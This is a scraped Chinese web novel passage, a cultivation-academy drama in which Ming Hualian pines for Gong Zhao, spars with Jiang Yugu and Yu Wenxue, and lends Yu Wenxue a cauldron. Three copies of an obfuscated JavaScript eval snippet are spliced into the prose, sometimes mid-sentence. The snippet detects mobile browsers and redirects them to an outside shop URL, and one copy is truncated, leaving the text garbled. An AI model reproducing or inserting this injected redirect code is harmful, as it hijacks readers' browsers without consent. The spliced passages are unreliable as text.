不经意间把灵羹搅成了一团糊糊,面前倏然笼下一道阴影,他抬起头,居然是江郁故。 江郁故竟然也没和宫昭一起去美人榭。 “一起回去吧?”江郁故主动问。 明华潋点点头,跟着他站起来,两人一道走出云飨斋。 因为江郁故没有御剑,他便也没有招出佩剑,两人一起沿着小道往撷英院方向走。 “你怎么没去?”他问江郁故。 “去哪里?” 江郁故不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17606466|205744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解。 明华潋:“美人榭,他们都去看合欢宗弟子了。” “没意思,”江郁故语调一如既往懒洋洋的:“那有什么意思?” 明华潋:“没意思怎么还会有那么多人去呢?” “那只能说明他们的趣味比较低级,”江郁故啧了一声:“满脑子原始交/配欲望的是野兽,而我的趣味不在这里。” “……” 明华潋没接话,但内心也是这么觉得的,仔细回想起来,他之前和江郁故没有机会打多少交道,之前他总觉得江郁故脸上挂着令人捉摸不透的笑容,让人觉得讨厌,但最近相处下来感觉没有那么反感了,甚至某些观点上,他们不谋而合。 但他依旧不喜欢江郁故的眼睛,暗沉的双眼皮右眼,和略显不和谐的单眼皮左眼,黑鸦鸦浓得像化不开的稠水,盯着某个人的时候,又透露出令人毛骨悚然的锐利。 他下意识皱了皱眉。 “你看起来像是在思考,”江郁故说:“该不会是因为我吧?” “……” 明华潋恢复平静:“我刚才是什么表情?” 江郁故:“像在想着什么讨厌的东西。” “……我有这样的表情吗?”明华潋说。 “当然!我母亲和别人谈到我的时候就是这样……” 明华潋正听他说话,这是江郁故第一次提到自己的家庭,但话说到一半,江郁故忽然急急的停下了话头,只草草嘟囔了一句“反正就是这样。” 江郁故真的很奇怪。 既然江郁故不想谈论,他也聪明得没有继续这个话题,回过头继续往前走,但江郁故却突然拉住了他。 他不明所以:“怎么了?” “你发顶沾了一片花瓣。” 江郁故俯身,帮他把夹在发丝中的花瓣摘了下来。明华潋刚说了一声谢谢,就发现江郁故指尖的那片花瓣繁密细小,是回廊栽种的雪梨花树。 “这片花瓣真小。”江郁故嘟囔。 “是啊。” 明华潋下意识紧张那天在回廊的事情会被发现,但转念一想,每天经过回廊的人那么多,都有可能粘到花瓣,他没必要这么杯弓蛇影,过于敏感。 他强压下扑通扑通的心跳,尽量保持平静:“好在你发现了。” “我眼神很好。”江郁故得意地指了指眼睛:“所以你刚才的表情我都能看到。” 明华潋:“……嗯。” 江郁故话锋一转:“所以你刚才那个表情不是因为我吗?” “当然,”明华潋连忙解释,他本来就想转移话题,便随意找了个借口:“是我刚才想到有一本想看的书,但藏书阁里没有。” 江郁故:“藏书阁里没有的书,你怎么会知道的呢?” 明华潋:“……” 江郁故眯起眼睛笑了一下,转移话题:“是一本什么样的书?” “《灵怪图志》。” 明华潋倒也不是信口胡诌,而是之前他在一个摊贩那里看到过这本书。当时他没有钱买,便在摊贩前看了一半,后来摊主收摊走了,后半卷他并没有看完。 而这种杂谈志怪一般的书籍,嵇云学院的藏书阁也是不会收录的。 “我能帮你找到。”江郁故说。 明华潋怀疑:“你真能帮我这个忙?” “本来是不想帮的,”江郁故捻了捻指尖的花瓣,狡黠地笑:“但如果你回答我一个问题,我或许会改变想法。” 明华潋又紧张了起来。 藏在袖口的手心已经出汗了,尤其是看到江郁故手指还捻着花瓣,他担心江郁故会问有关花瓣的问题,不知怎么的,又联想到之前江郁故意味深长的话语,他就觉得江郁故仿佛知道点什么。 不会的,不会的,一定是他想多了。在寂静的环境中,几乎能听到自己心跳声,他努力把纷繁杂绪强压下去,让自己冷静下来。 舔了舔干涩的嘴唇,用尽量正常的语气说:“你想问什么? 然而他的提心吊胆似乎是可笑的。 江郁故让他紧张起来,问的问题却是风马牛不相及:“那么你呢?为什么不和宫昭去美人榭?” “……为什么要去?” 他有一种被耍了一般的荒谬感,但庆幸的是乱糟糟的心情终于平静下来:“我也不感兴趣。” 江郁故露出思索的神情,随后说:“你不喜欢美人?还是说有喜欢的人?” 明华潋刚刚放下来的心又提了起来,他故意轻叹了口气,用平淡的语调说道:“我当然没有。” 江郁故皱了皱眉,似乎还打算说些什么,一道熟悉的身影忽然从遗珠花苑的小径拐了过来,出现在他们面前。 “咦,华潋,还有江郁故……” 余温雪看见他们,也有点惊讶,随即笑着跟他们打招呼。 7. 夜话 看到来人是余温雪时,明华潋的心里又开始郁闷了。 最近为什么总和余温雪碰见? 礼貌和余温雪打了个招呼后,他静静站在原地,想等余温雪主动走开,却没想到余温雪犹豫了下,主动朝他们走了过来。 “你们也是来欣赏奇奇花的吗?”余温雪问。 明华潋从没听过这种花:“奇奇花?” “就是这个。”风颤枝摇,余温雪蹲下来,指向野径中杂乱无序的霜色小花,重叠的几片花瓣刚好凑成一个鬼脸。 “奇奇花开花的条件很奇妙,其他的花枯萎凋零了,它才会开放,晴天不开花,阴天才开花,人多不开花,人少才开花。”余温雪说。 明华潋:“难怪叫奇奇花。” 江郁故瞥了一眼:“秘宗里到处都是,外面倒是少见。” “是呀,所以每当看见奇奇花就有一种回到故乡的感觉。”余温雪诧异地抬起头,小心翼翼问:“你也来自秘宗吗?” 江郁故没有回应。 明华潋扭头一看,发现他正专心拨弄奇奇花的花瓣。 虽然江郁故没有回答,但从刚才对话来看,一定也来自于秘宗。明华潋只在藏书阁的古卷里看到过这个词汇,但有关秘宗的记录却寥寥无几,他抿了抿嘴唇,虽然不想和余温雪聊天,但还是对江郁故的来历感到好奇。 忍不住问:“秘宗是很神秘的地方吗?” 余温雪笑了笑,说:“是天外天,独立于修真界九州八竑的一片小天地。” “这样啊……”明华潋说。 余温雪:“嗯,书籍是鲜少有记录,因为秘宗的人很少到外面来。” 明华潋点点头:“能够理解,毕竟自成一片天地。” 余温雪:“是的,而且秘宗并不是一个宗门。在那片天外天有着大大小小上百个秘宗,几乎每个秘宗都有自己的独门心法,因此完全不需要离宗学习。” “那么你……” 余温雪轻轻触摸霜色小花毛茸茸的花瓣,说道:“我也是因为我的母亲,她出身于一个小秘宗旁支,嫁出来后便和宗门断绝了关系,只是在我出生时把我送回秘宗,小时候我也在秘宗待过一段时间,后来母亲又把我接出来,却意外去世了,我也就回不去了。” 虽然余温雪说得简单,但从他眉间的伤感和愁绪可以看出那一定是一个复杂波折的故事,只是明华潋没有心情去了解,他不怎么走心地道歉:“抱歉,我不该提到这些……” 余温雪笑着摇头:“没关系,那只是过去的事了。” 说着,他轻轻哼了一支小曲,曲调婉转悱恻:“我印象里只是小时候母亲经常给我哼的歌谣,但我对她的印象也就只有这些了……” 明华潋抿了抿嘴唇,不露声色地看了一眼江郁故,如果余温雪是回不去了,那么江郁故又是什么理由来到嵇云学院呢? 一时间氛围安静下来,谁也没有说话,过了好一会儿,余温雪似乎沉浸在某种回忆里,呢喃道:“你说,是不是人的感情时间长了都会反复无常,都会善变呢?” 明华潋:“也许吧,毕竟时间长了就会缺乏新鲜感。” “都是这样吗?”余温雪说。 明华潋:“大部分吧,喜新厌旧是人的本性,相处长到一定的时间就会陷入厌倦。” 其实他没有谈过恋爱,也并不了解感情,这些观点都是他从话本子上看到的,但余温雪向他请教,一定程度上满足了他的虚荣心。便以指点的口吻说出来。 “为什么呢?”余温雪不解。 他感到厌烦,随口说:“不是有种说法吗?时间长了就像左手碰右手一样,没有感觉。” 余温雪陷入沉默,他以为他终于安静了,但过了一会,余温雪再次说:“但我觉得……那是感情浓到一定程度的体现,是感情新阶段的开始。” “……是的,也有人可能这么想。” 这是一个明华潋从未想过的回答,他的内心想到,自己果然和余温雪不是同一类人。 余温雪不好意思地笑笑:“华潋,谢谢你陪我聊这些,这段谈话对我来说真的很珍贵,谢谢你。” 即使心里早已觉得厌烦,但他是惯会做表面功夫的,依旧表现得很耐心和亲切:“没关系。” 其实他也很庆幸余温雪出现了,不然江郁故指不定还会问一些什么让他感到压力的问题。 “午休要结束了,我们一起回撷英院吧?”余温雪说。 “不要……”江郁故话还没说完,就被明华潋打断:“那就一起吧。” “……”江郁故皱着眉头看着他。 他装作没看见,之后回到撷英院的一路上,都是他和余温雪一起说话,没让江郁故找到空子问那些奇怪的问题。 * 戌时。 结束了一天的课业,明华潋拖着疲倦的身子回到枕流居。 不管怎么样,应付江郁故和余温雪这两个他讨厌的人都让他感觉厌烦和疲惫,如果江郁故不问那些奇怪的问题,他也不必表现的和余温雪那么亲密,陪余温雪说了一大堆废话,这让他心情很不愉快,甚至是糟糕。 但即便感觉到疲惫,回到枕流居后,他也没有休息,而是坐在书桌前,钻研起了今天内丹术的功课。 亥时刚过一刻,一阵突如其来的敲门声让他分了心。 这么晚了,谁会来找他?冷不丁想起白天云飨斋宫昭留下的话。 会吗?会是宫昭过来找他了吗? 明华潋心弦微颤,反应过来的时候已经匆匆走到门边,毕竟他的朋友基本上都是宫昭的朋友,而宫昭那些朋友不可能到他的宿舍来,来的人只有可能是宫昭。 虽然早有预料,但他拉开门看到宫昭站在门口,他内心还是雀跃的。 “你怎么来了?”他明知故问。 “忘了我白天跟你说过的话?我还有话跟你说。”宫昭将手臂搭在他的肩膀上,带着他的身子走回房间,言行举止就像这里的主人一样。 “还是这里安静舒服。”宫昭说。 宫昭揽着他的肩,他们的身子挨的极近,他嗅到空气中浮动着一股淡淡的桃花酒的味道。他知道宫昭的宿舍没有这种酒,所以他们去过美人榭后又一起去了酒楼?还是在美人榭和合欢宗的美人们一起喝的? 他问:“你喝酒了?” 宫昭“嗯”了一声:“喝了一点。” 明华潋满脸担忧,他知道宫昭不太能饮酒,宫昭不知道修炼何种心法,饮酒后总会灵气暴动,之前就有一次灵气在经脉暴乱游走,宫昭也差点走火入魔。 他便说:“喝酒了就回去休息,还到我这边来干什么,有什么话可以明天白天再说呀。” 宫昭坐在刚才明华潋修炼的地方,托着下巴看着他:“我不想等到明天。” 他问:“为什么?” “不知道……”宫昭皱起眉头:“就是想你了。” 他瞬间捏紧了手指,即便知道宫昭话语没有那一层含义。但他内心依旧激动不已,这是不是意味着他在宫昭心中也占据了不小的位置? 他深吸一口气,按住微微动摇的内心,转移话题:“你们不是去美人榭了吗,之后一起去喝酒的?” “嗯。” “这么早就结束了?” “因为你不在旁边啊,华潋,”宫昭懒洋洋道:“你忙着功课不陪我,没什么意思呐。” 这种意味不明的话,明华潋也听过很多次,但内心依旧会感到高兴。 其实他很多时候都看不懂宫昭,家境优渥,走到哪里都朋友如云,美人环绕,想得到什么都有人送到他的手边。哪像他一样,月例还得精打细算得去花,但这样看似要什么有什么的宫昭居然会需要他。 即便宫昭有些话只是随口说说,但只要想到自己在他心里也能占到重要的一席之地,心中就觉得高兴。 他正在品味此刻的心情,忽然感觉腰带松开了,低头一看,宫昭居然抽出了他的腰带。 “试试看这个。” 宫昭递给他一只储物袋,他接过储物袋打开朝里看去。 里面是一条织纹精美的玉狐络带,云蚕丝针脚勾勒出狐狸图案栩栩如生,走真丝线灵气四溢。他刚刚探手,小东西居然认得是他的主人,主动飘过来缠住了他的手指。 宫昭:“喜欢吗?” “嗯。”他微微点了点头。 难怪课本上说天机是玄妙的,他本想送东西给宫昭,结果功败垂成,没想到宫昭反而给他送了礼物。 宫昭环着手臂,倚在枕靠上看着他:“在闹市上看到,一见就觉得很衬你。” “很贵吧?”他问。 “不记得了。”宫昭随意道。 明华潋便没再多问,把小东西从储物袋中拿出来,玉狐络带乖巧的盘踞在他的掌心,有如一捧莹雪琉璃夺目,珠光溢彩。 明华潋发色比旁人浅,肌肤也胜似凝冰融雪般白,尤其是心情波动的时候,雪肌红润,白里透出微微的薄红,莹莹生光,与玉狐络带相互衬映,让人移不开眼。 “系上试试。”宫昭突然说。 原先腰带散开了,明华潋本就觉得衣衫有点略微不整,便将玉狐络带系上。 实际上,他只要做一个系的动作,玉狐络带便自动自发地缠上了他的腰,缩短身形,化作适合明华潋的尺寸,自己给自己打了一个扣。 宫昭低着头,垂下眼眸,而他恰好抬头,宫昭说:“我的眼光果然很好,很适合你。” “他好像有灵识,是灵器吗?”他问。 宫昭:“有一丝生出灵识的雏形,算不得灵器。” “这样……” 晚灯映窗,宫昭一手托腮,慵懒散漫拨弄他的发丝,不知是不是醉酒的缘故,眸中藏着某种烈火:“我就是喜欢你这幅样子,任何事都比不上你我情谊。” 一瞬间,他的心脏砰砰直跳,仿佛要脱离他的心房蹦跶出来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17606467|205744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 四目相对,宫昭突然开口:“华潋呐。” “嗯?” 宫昭:“你有想过结业考核通过后的路吗?” 他顿了顿,侧过头看向宫昭。 除非是在学堂上课,宫昭都穿着便服法衣,鲜衣如火,有如璀璨骄阳,他只是随意往那一坐,环着手臂就有种游刃有余,睥睨一切的感觉。 明华潋:“我想留在嵇云学院,要是被收为内门弟子就更好了。” 撷英院并不是求学之路的终点,之后还会有一个结业考核,据说万般艰难,考核优秀的学生有机会被嵇云学院的尊主们挑为内门弟子,就像之前为他们代课的兰惠尊主座下大弟子瑶光,这才是修炼之路的开始。 尤其是对于毫无背景的修者来说,这是一条修仙的坦途。 “留在嵇云有什么好的,我巴不得赶紧毕业离开这破地儿。”宫昭托着下巴笑起来:“到时候你也跟我一起走吧。” 明华潋皱眉:“你要我跟你回家吗?” “不是回家,”宫昭笑道:“我们一起游山玩水,去哪里都行,不会再有任何的约束,也不再有人能干涉我们。” “……” 宫昭:“你只要跟着我就够了。” 明华潋望向宫昭,那双野兽一般侵略十足的眼瞳中映出了他的轮廓。 宫昭的提议让他感到混乱,毫无疑问他对宫昭有思慕之心,但宫昭现在的提议打乱了他未来的规划。从嵇云毕业后,宫昭不会留在嵇云这一点他早就知道,但没想到宫昭也不打算回家。 也是,宫昭手里从不差钱,完全可以在外面潇洒一段时间,再回到家里。那到时候他呢?他已经错过了拜入师门的机会。那个时候宫昭会带他回家吗?又或者宫昭根本就不打算回去? 他脑海中乱作一团,回想起之前和宫昭偶尔聊天时宫昭发过的牢骚。宫昭和他父亲关系并不好,可以说是僵硬,当时他还是听听就过了,却没想到宫昭连家都不打算回了。 “华潋,你会跟我走吧?”宫昭问。 他看着宫昭的眼睛,回想起了第一次见宫昭的情形。 当时壑口镇附近灵宝现世,许多灵兽暴乱骚动,连他父母都在那一场事故中丧生,镇子里只有他机灵逃了出来,然而丧智灵兽嗅到生人的味道,对他穷追不舍,他屏住呼吸躲在草丛中,突然一柄裹挟着狂风烈焰的剑从天而降斩断了兽口。 宫昭手执满风寂,自带一股子狂傲,风火点燃山林,就这样他被深深吸引了,惊鸿般的身影一直刻在他的脑海中。 后来他跌跌撞撞逃出丛林,碰上了镇子上幸存的人,大家被统一带到了安置处。当时,德音尊主座下大弟子也在现场,看出他灵根独特,将他带回嵇云,也给了他破格插班入学的机会。 由此,他生平第一次,窥见了从未窥见过的世界,也有了从未想过的希望。是宫昭救了他,给了他这个希望。 他发誓会紧紧抓住这个希望,却未想到在学堂里碰到了宫昭。 因为竞争的关系,淘沙院里明争暗斗比比皆是,刚开学一周左右,如雨后春笋一样,冒出各自的小群体,就像是各自为阵的狼群,抱团内斗是常态。而他当时一不懂法术,二没有家世,是最受鄙视和排挤的人,悲惨到连立锥之地都没有。 就在这个时候宫昭向他抛出了橄榄枝,他以为宫昭早把他忘了,但事实上宫昭从未忘过。 往此种种氤成一团暖和的回忆,可能是从那时起,他意识到自己对宫昭怀有思慕之情的吧。 宫昭所在的群体是顶尖的狼群,宫昭则是这个顶尖狼群的支配者,而他身边围绕的朋友们都是来自优越家世的少年,只有他和宫昭怎么看都不相称。但宫昭这些朋友中,除了江郁故外,他是唯一一个单灵根,在了解到单灵根的优越性后,他厚着脸皮和宫昭成了朋友。 是的,至少他自认也是有优势的…… 而且他也是宫昭那些朋友中为数不多擅长思考和学习的人。也正因有他的帮助,宫昭和他那群朋友才得以通过淘沙院艰难的考核进入撷英院,他们又得以成为同班同学。 宫昭父亲对宫昭的要求是一定要从撷英院毕业,于是他也一直在学业上帮助宫昭。要说是恩情,他们早就扯平了。只是他喜欢宫昭,而宫昭却要他放弃未来的计划跟他走。 “华潋,怎么不回答呀,嗯?” 宫昭的声音把他拉回现实,明华潋苦恼地叹息一声:“知道了,这也不是小事,你得让我想一想。” “好好想,身边没有你,真的很没有意思。” 宫昭耸耸肩,似乎一点都不担心他会拒绝,起身走到他的床榻大手大脚躺下来。 他立刻跟着走过去:“喂,你这是做什么?” “困了,今天就在这儿睡了。”宫昭大咧咧地把两只手枕在脑后。 他问:“……那我怎么办?” 宫昭勉强往旁边挪了挪,大手拍了拍空地:“过来睡。” “……” 8. 失窃 第二天午膳,明华潋还在走神,他在想自己是不是疯了,居然没有立刻拒绝宫昭。 灵根、心法直接决定了一个修者的上限。灵根是天生的,而心法则掌握在绝对少数世家宗门手里,多数人拜入宗门都是为了心法。 和那些家世雄厚,毕业之后可以回家修炼心法的少年们不同,拜入嵇云尊主门下是绝大部分修者想都不敢想的修仙坦途。这也是迄今为止他的目标。 他知道他很自私,但这个机会对他来说实在太难得了。他该放弃这个千载难逢的机会,答应宫昭吗? 正烦恼着,忽然又听到了夏淳的大嗓门:“你们见过合欢宗弟子的真容吗?我见过了!那叫一个沉鱼落雁。” 有人起哄:“你怎么知道沉鱼落雁?我听说合欢宗那些弟子们出门都是戴面纱的。” “还不是绣石这个狡诈家伙出的主意。”严再樟说:“我们带她们去喝桃花酒,饮酒的时候不就要把面纱摘下来了。” 起哄者:“原来如此,妙啊!” “不过没想到和合欢宗那些弟子确实有女也有男。”夏淳撇撇嘴:“好在美倒是确实很美。” “是吗?我倒觉得我们班明华潋更好看,单论脸来说。当然,合欢宗的更有媚劲儿。”严再樟评价道。 几道目光落在明华潋的脸上,关于这一点都没有任何人有异议。 夏淳舔舔嘴唇:“合欢心法……双修起来滋味肯定很带劲。” 娄绣石笑了:“人家肯跟你双修吗?” “我已经和其中一个交换了通讯符,你且等着吧。”夏淳愤恨地说着,又想到虽然交换了通讯符,但也八字还没一撇,便又补充道:“不过话又说回来,兄弟如手足,女人如衣服,再漂亮穿穿也就腻了,用不着上心。” 谁人都能听出来,是在强行挽尊,偏夏淳还要寻人帮腔:“是吧,严再樟?” 严再樟向来是个墙头草,谁说话他都会附和,夏淳一问他,他就点点头。夏淳找到了应声虫,更加眉飞色舞了。 但就在这样的氛围里,江郁故忽然发出一声嘲笑,他用手托着脸,大声嘲笑道:“兄弟如手足,女人如衣服?” “是啊,怎么了?”夏淳挺着胸。 江郁故:“那你没有衣服敢裸奔吗?” 夏淳:“……” 江郁故:“哎,趁着膳堂人多,不如你现在就脱了,让我们瞧瞧。” “……” “有想看的吗?我先举手表态。”江郁故装模作样地举起手。 不知是谁笑了一声,然后其他人都跟着笑了起来,连宫昭也在哈哈大笑。夏淳脸瞬间涨红了,他又语无伦次地说了些话,但都被笑声淹没了。 明华潋也挺喜欢看夏淳吃瘪的,要不是嘴里还有午膳,他也跟着笑了。 比起夏淳高高在上,谁都瞧不起的性子,江郁故恶劣的性子,也没那么讨厌了。 事实上,江郁故经常嘻嘻笑着嘲讽娄绣石、夏淳等人。他总是噙着似笑非笑的笑容,让人拿捏不准他是在开玩笑,还是认真让人难堪,但毫无疑问,看人手足无措的模样,会取悦江郁故。 如果嘲讽他的人是严再樟,夏淳肯定还嘴或者动手了,但那是江郁故,据说和宫昭是发小,也不知道是何背景,神秘就代表未知,他不敢随便得罪江郁故。 娄绣石瞥了眼按捺怒气的夏淳,咳嗽了一下,转移话题:“宫哥,要不等会儿我们再去美人榭?我攒了个局。” 明华潋动作一顿,悄悄竖起了耳朵,但出乎所有人意料的是宫昭拒绝了:“不去了。” 他松了一口气,也是这个时候他发现自己多么渴望宫昭拒绝,但还没等他高兴起来,就听见娄绣石急急问:“为什么啊?我看昨天有几个对你挺有意思的呀。” 曹弘:“反正下午是丹药课,明心尊主最好糊弄,翘了也没关系呀。” 严再樟也说:“哇,不能够吧?宫哥你是不是偷偷和谁交换通讯符,所以才不来?” 娄绣石苦恼:“就是啊,你不来的话,我们怎么搞定他们。” “别是余温雪知道了,管着你,不让你来吧?”说话的是和娄绣石形影不离的鱼佑。 宫昭开口道:“瞎猜什么,就是觉得没意思。” 娄绣石想了想:“仔细想想,昨天你离席也早,该不会也是去找那个余温雪了吧?” 明华潋顿时紧张起来,宫昭则不痛不痒地踹了他一脚:“我找谁还跟你报备?” “……不是那个意思。”娄绣石连忙说。 看出来宫昭确实不打算去了,娄绣石也只好不情不愿放弃,几个人转头商量攒的局该怎么办。 明华潋紧绷的心弦终于放松,难得喜悦的心情让他感觉苦涩的莲子羹都变得甜起来。 他甚至在想,宫昭不和他们去美人榭会不会因为他。他觉得自己也不能算是自作多情。因为宫昭昨天是为了找他才提前离场,今天拒绝他们,也有可能是因为他啊…… “你不去是不是因为……”出于心中那一丝期待,深了一口气,他忍不住问宫昭。 但话刚说到一半,江郁故突然开口:“藕粉丸子,吃吗?” 明华潋看了看,确认江郁故是在跟他说话:“……不吃。” “那我吃了。”江郁故顽皮地笑,伸出筷子快速地把明华潋碗里的藕粉丸子夹到自己碗里。 明华潋:“……” “这混蛋就喜欢吃藕粉丸子,”宫昭说:“要不我的也给你?” 江郁故:“不要,别把你的东西放到我碗里。” “啧,好心给你,你还不要?”宫昭说。 江郁故嬉皮笑脸:“没错,你不要想用你的东西玷污我的碗。” 宫昭恼怒:“该死的,江郁故,你居然说这种话……” 明华潋抿了抿嘴唇,一言不发搅了搅灵羹,错过了正确的时间,他也没有机会再问出刚才想问的问题。 * 午膳结束后,距离下午课还有一段时间,但明华潋习惯了早早赶到学堂。 下午丹药学在北星阁,他到的时候学堂里已经有人了。 他也并不意外,像是兰砚书那些和他一样认真学习的少年往往都会提早赶到学堂复习功课。 只是他走进来的时候,兰砚书并没有像之前一样坐在位子上看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17606468|205744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书,而是走到另一个同学身边,正低声安抚着对方。 “发生了什么事?”他走过去问。 兰砚书:“不知道是谁把余温雪炼药的丹鼎拿走了。” 明华潋瞥了眼余温雪的蒲团,本该放在那里的丹鼎不翼而飞。由于丹鼎既笨重又占储物格,通常他们都会把丹鼎留在北星阁,放眼望去,只有余温雪的蒲团边空空荡荡。 “不知道是谁开这种玩笑……”余温雪小声说。 “不问则取是为窃,”兰砚书一板一眼说:“这件事情应该报告给尊主。” 余温雪摇摇头:“算了吧,尊主们日理万机,别用这种小事打扰他们了吧。” 兰砚书皱眉:“但这厮也太嚣张了,居然还给你留了个纸条。” 明华潋:“什么样的纸条?” 余温雪把皱巴巴的小纸团递给他。 明华潋接过来,打开一看,一眼就认出来宫昭的字迹。 在淘沙院时他就经常帮宫昭代笔写功课,他还特意模仿过宫昭的笔锋,因此绝对不会认错。 兰砚书看了一眼纸条:“他让你去后厢小学堂找他。” “我才不去。”余温雪盯着纸条,咬紧嘴唇。 看起来余温雪并没有认出宫昭的字迹。明华潋握紧了拳头,忽然感到有点反胃,也许是午膳莲子吃多了,一股苦涩的味道翻涌上来。 他不明白宫昭为什么会这么幼稚?故意偷走余温雪的丹鼎,等着余温雪气鼓鼓的找他讨要吗?还故意约在后厢创造独处谈话的机会…… 他忽然想到午膳时宫昭拒绝了和娄绣石他们去美人榭,原因居然是约了余温雪去后厢。想到这里,他用手指挡住了面红耳赤的脸颊,如果不是江郁故打断了,他当时恐怕就要问出那个令人尴尬的问题。 余温雪:“华潋,你的脸红了。” “有人把丹鼎烧起来,这里太热了。”他辩解。 兰砚书想了想,提议:“你不去的话,那我去后厢帮你看看,这个小偷究竟是谁?” 余温雪摇头:“后厢太大了,就算是找也要找一段时间的,也许他看到是你,不会出来的。” “也是。”兰砚书说:“但你没有丹鼎,下午的课又该怎么办?” 余温雪低着头,也陷入了犹豫之中,他不知道是谁偷走了他的丹鼎,也不想去见那个人,但不去的话下午的丹学课又该怎么办呢? 苦涩的滋味在胃里翻涌,前一晚他还因为跟宫昭的夜话而好高兴,但只是半天时间,他心情就急转直下,可以说糟糕透了。 当注意到余温雪陷入犹豫,似乎打算赴约,他握着纸团的手指微微颤抖,平时引以为傲的理智也开始溃散,脱口而出:“没关系,我可以把我的丹鼎借给你。” 兰砚书:“那你自己呢?” “我有两个,还有一个备用的。”其实大多数学生都没有两个丹鼎,但他之前要帮宫昭做功课,丹药学的功课就是炼制丹药,一个炉子不够烧的,他便又买了一个备用炉。 余温雪认真说:“谢谢你,华潋。” “不用谢。” 他独自咽下满腔的烦躁和苦涩。 9. 吵架 转眼丹学课即将开始,等了一个中午,没等到余温雪的宫昭裹着一身怒意迈入北星阁。 他干等了一个中午,本就感觉恼火,还在奇怪余温雪为什么没来,现在看到他面前放着的新丹鼎,一下子就明白了。 甚至不用问余温雪丹鼎从何而来,他已经认出这就是明华潋的备用丹鼎。 “你把丹鼎借给他的?” 明华潋已经想到自己破坏了宫昭的计划,会让他感到不悦,但面对宫昭怒气勃勃的质问,他还是在内心感觉痛苦,表面上却装得若无其事: “嗯。” 宫昭咄咄:“你为什么帮他?” 宫昭没答应去,娄绣石攒的局也就不了了之,他们几乎是跟着宫昭前后脚进的北星阁,一眼就看到宫昭对明华潋发火。 这对他们来说可是新鲜事,宫昭平日里总是护着明华潋,两人这么明目张胆的产生矛盾还是第一次。他们也没有拉劝的意思,而是兴致勃勃地在旁边看戏。 明华潋攥紧拳头:“这需要原因吗?大家都是同学。” 宫昭气笑了:“……哈。” 余温雪看着宫昭如此表现,也想明白了什么,快步走过来拉住宫昭,压低声音:“我不知道是你……华潋是好心借我,你不要这样吼。” 明华潋目光落在宫昭被余温雪拉拽的袖摆上,只觉得如鲠在喉,心里既烦躁又生气,他凭什么要被宫昭吼,凭什么要被这样看好戏,又凭什么要被余温雪拯救了? 藏在袖口里的手指微微发抖,偏偏他还得维持平静端庄的模样。 这时,江郁故一脸好奇插进来:“你们在吵架吗?应该是在吵架吧。” 明华潋:“……” 江郁故:“那明华潋乐于助人,和你宫昭有什么关系?” 宫昭:“……” 娄绣石、严再樟等几个比较机灵的,脑瓜子一转就猜到大致原因了,但夏淳却是满头雾水,下意识附和了一句:“说的对啊。” 余温雪脸红了,总觉得那些人的目光仿佛看穿了什么,想放开拉着宫昭的袖子,但又怕宫昭做出什么冲动的事,想放又不敢放。 宫昭只回了一声:“这和你没关系。” 江郁故环着手臂,笑眯眯又把问题绕了回来:“那为什么明华潋乐于助人就和你有关系了呢?” 宫昭:“……江郁故,你今天非要顶我的话?” “哎,我只是提出疑惑啊。”江郁故慢悠悠说。 明华潋看向江郁故,不明白江郁故为什么总能那么嬉皮笑脸的,而且他也不懂江郁故在这个时候横插一脚的意思。 事实上,这么多年他也看不清江郁故和宫昭的关系,宫昭说他们是从小就认识的朋友,但他总觉得江郁故无论是对宫昭还是对其他人都是一副漫不经心的态度。也只有江郁故敢这么明目张胆的和宫昭作对。 宫昭张开嘴,还打算说些什么,恰逢此时明心尊主走了进来。 明心尊主与慈心尊主乃是双胞兄弟,但比起慈心尊主膀大腰圆,他却显得文弱瘦削许多,面容平庸温润,看不出岁月痕迹,后背微驼,手里总是捧着一折药卷,透出质朴的书卷气。 他一眼就看到宫昭扬着眉梢,眉宇间满是怒意地怒视另一名坐着的少年,而其他人则抱团在一起看戏,顿时明白了什么,心平气和地呼吁:“都站着做什么?都坐下来了。兰砚书过来,把辅材给大家发放下去,” 兰砚书:“是。” 正因明心尊主与暂代院长之职的慈心尊主是兄弟,宫昭也不敢明目张胆与他作对,只得心不甘情不愿,一屁股坐回蒲团上。 其他人见没好戏看了,也都纷纷散开,各自回到各自的位置。 明心尊主开始讲学,今天讲学内容是天北星的用法:“天北星,又名冬夏、片柳,是我们炼制丹药时运用最广的药材之一,其历史悠久,凡炼制丹药者皆不可逃开天北星。” 兰砚书:“尊主,北星阁名字的由来可是源于天北星?” 明心尊主微顿:“……是。” 遂继续讲学:“其茎扁,叶单片似柳叶状,叶柄往往分裂成两束,成熟时呈绿粉色,喜阴湿,畏强光,喜水忌涝,在广源下游地域广泛分布,与善华花相配可炼三清丹,而与食厌草相配可为剧毒,目前你们手边各有三份天北星,我要你们炼出一份三清丹,一份毒丹……” 